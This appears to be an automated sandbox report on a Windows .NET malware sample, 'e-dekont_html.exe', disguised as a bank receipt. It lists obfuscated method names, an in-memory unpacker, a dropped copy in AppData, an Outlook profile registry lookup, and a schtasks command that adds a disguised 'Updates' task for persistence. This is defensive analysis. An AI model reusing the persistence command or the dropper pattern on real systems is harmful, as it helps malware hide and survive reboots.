Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\e-dekont_html.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\e-dekont_html.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: e-dekont_html.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: e-dekont_html.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: e-dekont_html.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: bbvK.pdbSHA256 source: e-dekont_html.exe, fahKSvwo.exe.0.dr
Source:	Binary string: bbvK.pdb source: e-dekont_html.exe, fahKSvwo.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs	.Net Code: VkBiqP4YpLfsTOKK1C5 System.Reflection.Assembly.Load(byte[])
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs	.Net Code: VkBiqP4YpLfsTOKK1C5 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_012BF228 push ebx; retn 0002h	0_2_012BF242
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_012BF2BF push edi; retn 0002h	0_2_012BF2CA
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_012BF2B0 push esi; retn 0002h	0_2_012BF2BA
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F0EAB0 push ss; ret	0_2_08F0EABA
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F0BA7F push eax; retf	0_2_08F0BAA5
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE9C30 push esp; retf 02C7h	8_2_02BE9D55
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01599C30 push esp; retf 015Bh	13_2_01599D55

Source: e-dekont_html.exe	Static PE information: section name: .text entropy: 7.952098121903517
Source: fahKSvwo.exe.0.dr	Static PE information: section name: .text entropy: 7.952098121903517

Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, WwWQAaqqrVa5qkcNhnJ.cs	High entropy of concatenated method names: 'aEoj4vB4IJ', 'tbpjzF9BZI', 'm4yfZ8ojyk', 'fP9f3wxYAm', 'y3GfIP9Pdc', 'DWWfgOjR96', 'RIRfcMcAio', 'n34fnOvjL7', 'HXefLwr00R', 'N13f0AJEjN'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, PeiRoUhVi14ZtfH37r.cs	High entropy of concatenated method names: 'BirwYxR4D8', 'WgZwsYymM4', 'ToString', 'WrkwLrT3si', 'C55w0VtyhE', 'NacwRcRLcu', 'RYKw1NfMO2', 'r9AwNRcqdf', 'pEgwasgbX4', 'swqwW7Wi3l'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, T7geawTVduRubgjl6k.cs	High entropy of concatenated method names: 'ToString', 'N2NOG0wHr7', 'LOmO5h582G', 'DuUOqyefj7', 'wjXOT2awq5', 'op7OVOxGbF', 'R5tOE9G6ju', 'qNkOdBl6WV', 'zjROk8pXXV', 'bUxOpW0eQg'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, Mx1CEBI3fhAT2luVA2.cs	High entropy of concatenated method names: 'VhWhU39LZp', 'SZPhwVoH4F', 'w4QhhuSOi4', 'ouyhf0VOQf', 'ihUhQY1v87', 'V1fhHnPIh9', 'Dispose', 'fRj9LPGTwo', 'ePJ90Cbvy0', 'sFG9RkXdBd'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, gAT7eoJMygn6gjWsIx.cs	High entropy of concatenated method names: 'aUo0C06IhH', 'N6R0J6ALlI', 'zVZ0tbc8Vc', 'rYD0S9p8Ti', 'gR90KplyIY', 'XS10x8J3uy', 'Gpk0oa0Dkc', 'FOb07Xngpj', 'aUs0iv8bjl', 'Bur04DrePt'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs	High entropy of concatenated method names: 'Yh0gnuxnxb', 'DMJgLUJSvT', 'mhrg06qPKL', 'W8FgRPVdo1', 'jeKg1NpI80', 'oexgNeeEIY', 'wOsgaITM1u', 'tBEgWQYZsa', 'MOhg8f4SGa', 'Gr7gYmIXUp'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, cGA342shoG3dnMmo4W.cs	High entropy of concatenated method names: 'fUOw78v1fh', 'RNHw46ghuh', 'wvd9ZomAx4', 'RXq93d8Z3R', 'YLnwGujPHR', 'Gf9wbAiHBb', 's7OwuAwIV8', 'Sw6wCn6Etw', 'QmpwJJnC73', 'gRhwtfNPSK'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, lovJ0czClo5OP1EZ5p.cs	High entropy of concatenated method names: 'EvQjMENxho', 'NXMjrXYoR6', 'WcvjB7Mo8C', 'jUyjlfv20k', 'UZGj5hOnPC', 'BaojT1hka6', 'NutjVt2u5h', 'YGxjHcj8Nr', 'NdPjD7cDDf', 'matjyMws2t'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, tMpAMrZVOPEtwJuQTS.cs	High entropy of concatenated method names: 'RymNntqYrb', 'zJtN0YWdsf', 'tB0N1IjBCV', 'PwPNa6ZKF4', 'CxmNWe8cvj', 'tRH1KPMfdV', 'pZm1x1MgL1', 'p4l1oDGHeM', 'W4417ff7FA', 'pZT1iG8Ejj'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, y2xvJk7MqDGjCSRLHi.cs	High entropy of concatenated method names: 't973aZA8OM', 'WP83WJIG5m', 'nA13YsO076', 'ESU3s8TwAm', 'GPc3U3QTsk', 'l6t3OVWisM', 'j1oqxVG2dtRxF1TQY5', 'OPESoh54pRnUVMRmS5', 'kfN33KKK2G', 'gMF3gsyxxw'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, VbMlbdf1ymu5YPDwdh.cs	High entropy of concatenated method names: 'BKfAM5Ilg', 'MYi6OFBF2', 'OYHMla2fb', 'xg3FEeNsq', 'lgIBXVH8y', 'BMFmk52Nl', 'LaVSSSpUpJxc5XEJyb', 'fGsfPoM0NpdrLOHYIK', 'd459hmf7r', 'LnKj5QRNo'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, nNUAPLSS6OVAMReiLp.cs	High entropy of concatenated method names: 'nSGaDPOPmG', 'n2caypalRO', 'HfBaAaZxd1', 'PeIa6xtE7a', 'Qr3aPpmRJE', 'nQVaM75VCy', 'agIaFcaQ80', 'QW6ar8INMp', 'SeaaBk8JpB', 'mFSamxaHWi'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, qWBbWjHPNSm3x3ymNh.cs	High entropy of concatenated method names: 'oiSR6kVV8l', 'rOPRMq5hBW', 'lMtRrE7Srf', 'PaERBVW4DW', 'FACRUq0pIv', 'QD9ROdqwFD', 'lbVRwFhUJG', 'f4xR9SYjSD', 'HWXRhAxHn6', 'tXORj0DbvO'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, OktkoHOIC8r5JCWFWx.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'I6qIisSfio', 'CfXI4ZYj7P', 'lsaIzh6iWn', 'OGEgZqGbqB', 'NPGg3IQ8Yp', 'xXDgIkJQKy', 'weUggWJXBM', 'LtfdsT4bbJRtGbTDNe9'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, pu7Lw9pOUtJRgB67V4.cs	High entropy of concatenated method names: 'YQvUXvU4Dc', 'bTBUbwPr7S', 'k0ZUCOd5f8', 'Pg9UJTjZPO', 'jY9U5k9GMG', 'fyLUqaZ7Xg', 'yNbUTXsSfK', 'XmdUVJa98e', 'gq8UE9w6IF', 'cXSUd5s6OI'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, Pe0SkjXKZwcNC8GV5H.cs	High entropy of concatenated method names: 'uMZaLKWh9d', 'c8waRCi1df', 'GoGaNSDvbS', 'NakN46s9ti', 'kuQNzBUL1d', 'e4ZaZfSYa1', 'z0ua3br3H9', 'gP6aIwv9Nu', 'FS2agyaaEN', 'Y5oac3Z7n6'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, MuYu9FovasFrZDt22m.cs	High entropy of concatenated method names: 'zfpjR5ToCM', 'WY4j134dMx', 'WVdjN1864o', 'HaljaMcg29', 'STEjhunQt3', 'bS6jWlAXYX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, EE0buaqyZiM121J1NhK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kZljGK2xJa', 'bsmjbxY9gY', 'dR9juYxrFg', 'WJpjCga0Lq', 'YFCjJgfLsV', 'wlBjtmnD2B', 'k1KjS6owbB'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, MkK5y6vwJZjs5JDWtI.cs	High entropy of concatenated method names: 'wSn2rURJAE', 'pnR2BHKNVh', 'C462lj2EGM', 'RMY25YbEsp', 'L2O2TGf2NJ', 'MJR2Vvr9MC', 'JcA2dpcAU0', 'khm2kb5yuS', 'O5j2XZwHS9', 'Fpg2G8Hv8T'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, w6fVOnaEhaOjHBKUqm.cs	High entropy of concatenated method names: 'vCJaORo2iZ7h9HgmlHY', 'wpYXgxo6VkkBLSHtGx4', 'yJkN939xYd', 'r4ZNhbYqF9', 'GAdNjfe4B8', 'GojxD1ogmuWO0gmFaJL', 'DUikTCoH1sOrluF5Aao'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, JLoSIhwA97O7XLgyC7.cs	High entropy of concatenated method names: 'Dispose', 'u7s3ip9b0q', 'HIsI5qVWua', 'PQGvKUhrk2', 'drf34d0xPF', 'yBd3zNTJF5', 'ProcessDialogKey', 'ht9IZYc6hA', 'gZEI3SUHIm', 'hCxIIot7Hh'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, VtsXqUbvS3rdPxQGMo.cs	High entropy of concatenated method names: 'LvKhl7BSXy', 'kNxh5VoL3m', 'RTIhqnLPI7', 'H13hT8gA18', 'xiQhVC0Zbg', 'IjfhEWJIcW', 'WbihdqoDdO', 'JUMhkMMNeB', 'U7fhpxcFKU', 'UPwhXQtc5f'
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, dHRLn7q7YB03FnCZfRs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sQkvhllP1m', 'vBcvjUsDuw', 'adjvfcQVj6', 'rf9vv9X715', 'fXvvQu8DDh', 'xSyveUxkIQ', 'lgYvHNyPSK'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, WwWQAaqqrVa5qkcNhnJ.cs	High entropy of concatenated method names: 'aEoj4vB4IJ', 'tbpjzF9BZI', 'm4yfZ8ojyk', 'fP9f3wxYAm', 'y3GfIP9Pdc', 'DWWfgOjR96', 'RIRfcMcAio', 'n34fnOvjL7', 'HXefLwr00R', 'N13f0AJEjN'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, PeiRoUhVi14ZtfH37r.cs	High entropy of concatenated method names: 'BirwYxR4D8', 'WgZwsYymM4', 'ToString', 'WrkwLrT3si', 'C55w0VtyhE', 'NacwRcRLcu', 'RYKw1NfMO2', 'r9AwNRcqdf', 'pEgwasgbX4', 'swqwW7Wi3l'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, T7geawTVduRubgjl6k.cs	High entropy of concatenated method names: 'ToString', 'N2NOG0wHr7', 'LOmO5h582G', 'DuUOqyefj7', 'wjXOT2awq5', 'op7OVOxGbF', 'R5tOE9G6ju', 'qNkOdBl6WV', 'zjROk8pXXV', 'bUxOpW0eQg'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, Mx1CEBI3fhAT2luVA2.cs	High entropy of concatenated method names: 'VhWhU39LZp', 'SZPhwVoH4F', 'w4QhhuSOi4', 'ouyhf0VOQf', 'ihUhQY1v87', 'V1fhHnPIh9', 'Dispose', 'fRj9LPGTwo', 'ePJ90Cbvy0', 'sFG9RkXdBd'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, gAT7eoJMygn6gjWsIx.cs	High entropy of concatenated method names: 'aUo0C06IhH', 'N6R0J6ALlI', 'zVZ0tbc8Vc', 'rYD0S9p8Ti', 'gR90KplyIY', 'XS10x8J3uy', 'Gpk0oa0Dkc', 'FOb07Xngpj', 'aUs0iv8bjl', 'Bur04DrePt'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs	High entropy of concatenated method names: 'Yh0gnuxnxb', 'DMJgLUJSvT', 'mhrg06qPKL', 'W8FgRPVdo1', 'jeKg1NpI80', 'oexgNeeEIY', 'wOsgaITM1u', 'tBEgWQYZsa', 'MOhg8f4SGa', 'Gr7gYmIXUp'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, cGA342shoG3dnMmo4W.cs	High entropy of concatenated method names: 'fUOw78v1fh', 'RNHw46ghuh', 'wvd9ZomAx4', 'RXq93d8Z3R', 'YLnwGujPHR', 'Gf9wbAiHBb', 's7OwuAwIV8', 'Sw6wCn6Etw', 'QmpwJJnC73', 'gRhwtfNPSK'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, lovJ0czClo5OP1EZ5p.cs	High entropy of concatenated method names: 'EvQjMENxho', 'NXMjrXYoR6', 'WcvjB7Mo8C', 'jUyjlfv20k', 'UZGj5hOnPC', 'BaojT1hka6', 'NutjVt2u5h', 'YGxjHcj8Nr', 'NdPjD7cDDf', 'matjyMws2t'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, tMpAMrZVOPEtwJuQTS.cs	High entropy of concatenated method names: 'RymNntqYrb', 'zJtN0YWdsf', 'tB0N1IjBCV', 'PwPNa6ZKF4', 'CxmNWe8cvj', 'tRH1KPMfdV', 'pZm1x1MgL1', 'p4l1oDGHeM', 'W4417ff7FA', 'pZT1iG8Ejj'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, y2xvJk7MqDGjCSRLHi.cs	High entropy of concatenated method names: 't973aZA8OM', 'WP83WJIG5m', 'nA13YsO076', 'ESU3s8TwAm', 'GPc3U3QTsk', 'l6t3OVWisM', 'j1oqxVG2dtRxF1TQY5', 'OPESoh54pRnUVMRmS5', 'kfN33KKK2G', 'gMF3gsyxxw'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, VbMlbdf1ymu5YPDwdh.cs	High entropy of concatenated method names: 'BKfAM5Ilg', 'MYi6OFBF2', 'OYHMla2fb', 'xg3FEeNsq', 'lgIBXVH8y', 'BMFmk52Nl', 'LaVSSSpUpJxc5XEJyb', 'fGsfPoM0NpdrLOHYIK', 'd459hmf7r', 'LnKj5QRNo'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, nNUAPLSS6OVAMReiLp.cs	High entropy of concatenated method names: 'nSGaDPOPmG', 'n2caypalRO', 'HfBaAaZxd1', 'PeIa6xtE7a', 'Qr3aPpmRJE', 'nQVaM75VCy', 'agIaFcaQ80', 'QW6ar8INMp', 'SeaaBk8JpB', 'mFSamxaHWi'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, qWBbWjHPNSm3x3ymNh.cs	High entropy of concatenated method names: 'oiSR6kVV8l', 'rOPRMq5hBW', 'lMtRrE7Srf', 'PaERBVW4DW', 'FACRUq0pIv', 'QD9ROdqwFD', 'lbVRwFhUJG', 'f4xR9SYjSD', 'HWXRhAxHn6', 'tXORj0DbvO'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, OktkoHOIC8r5JCWFWx.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'I6qIisSfio', 'CfXI4ZYj7P', 'lsaIzh6iWn', 'OGEgZqGbqB', 'NPGg3IQ8Yp', 'xXDgIkJQKy', 'weUggWJXBM', 'LtfdsT4bbJRtGbTDNe9'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, pu7Lw9pOUtJRgB67V4.cs	High entropy of concatenated method names: 'YQvUXvU4Dc', 'bTBUbwPr7S', 'k0ZUCOd5f8', 'Pg9UJTjZPO', 'jY9U5k9GMG', 'fyLUqaZ7Xg', 'yNbUTXsSfK', 'XmdUVJa98e', 'gq8UE9w6IF', 'cXSUd5s6OI'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, Pe0SkjXKZwcNC8GV5H.cs	High entropy of concatenated method names: 'uMZaLKWh9d', 'c8waRCi1df', 'GoGaNSDvbS', 'NakN46s9ti', 'kuQNzBUL1d', 'e4ZaZfSYa1', 'z0ua3br3H9', 'gP6aIwv9Nu', 'FS2agyaaEN', 'Y5oac3Z7n6'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, MuYu9FovasFrZDt22m.cs	High entropy of concatenated method names: 'zfpjR5ToCM', 'WY4j134dMx', 'WVdjN1864o', 'HaljaMcg29', 'STEjhunQt3', 'bS6jWlAXYX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, EE0buaqyZiM121J1NhK.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kZljGK2xJa', 'bsmjbxY9gY', 'dR9juYxrFg', 'WJpjCga0Lq', 'YFCjJgfLsV', 'wlBjtmnD2B', 'k1KjS6owbB'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, MkK5y6vwJZjs5JDWtI.cs	High entropy of concatenated method names: 'wSn2rURJAE', 'pnR2BHKNVh', 'C462lj2EGM', 'RMY25YbEsp', 'L2O2TGf2NJ', 'MJR2Vvr9MC', 'JcA2dpcAU0', 'khm2kb5yuS', 'O5j2XZwHS9', 'Fpg2G8Hv8T'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, w6fVOnaEhaOjHBKUqm.cs	High entropy of concatenated method names: 'vCJaORo2iZ7h9HgmlHY', 'wpYXgxo6VkkBLSHtGx4', 'yJkN939xYd', 'r4ZNhbYqF9', 'GAdNjfe4B8', 'GojxD1ogmuWO0gmFaJL', 'DUikTCoH1sOrluF5Aao'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, JLoSIhwA97O7XLgyC7.cs	High entropy of concatenated method names: 'Dispose', 'u7s3ip9b0q', 'HIsI5qVWua', 'PQGvKUhrk2', 'drf34d0xPF', 'yBd3zNTJF5', 'ProcessDialogKey', 'ht9IZYc6hA', 'gZEI3SUHIm', 'hCxIIot7Hh'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, VtsXqUbvS3rdPxQGMo.cs	High entropy of concatenated method names: 'LvKhl7BSXy', 'kNxh5VoL3m', 'RTIhqnLPI7', 'H13hT8gA18', 'xiQhVC0Zbg', 'IjfhEWJIcW', 'WbihdqoDdO', 'JUMhkMMNeB', 'U7fhpxcFKU', 'UPwhXQtc5f'
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, dHRLn7q7YB03FnCZfRs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sQkvhllP1m', 'vBcvjUsDuw', 'adjvfcQVj6', 'rf9vv9X715', 'fXvvQu8DDh', 'xSyveUxkIQ', 'lgYvHNyPSK'

Source: C:\Users\user\Desktop\e-dekont_html.exe

File created: C:\Users\user\AppData\Roaming\fahKSvwo.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\e-dekont_html.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
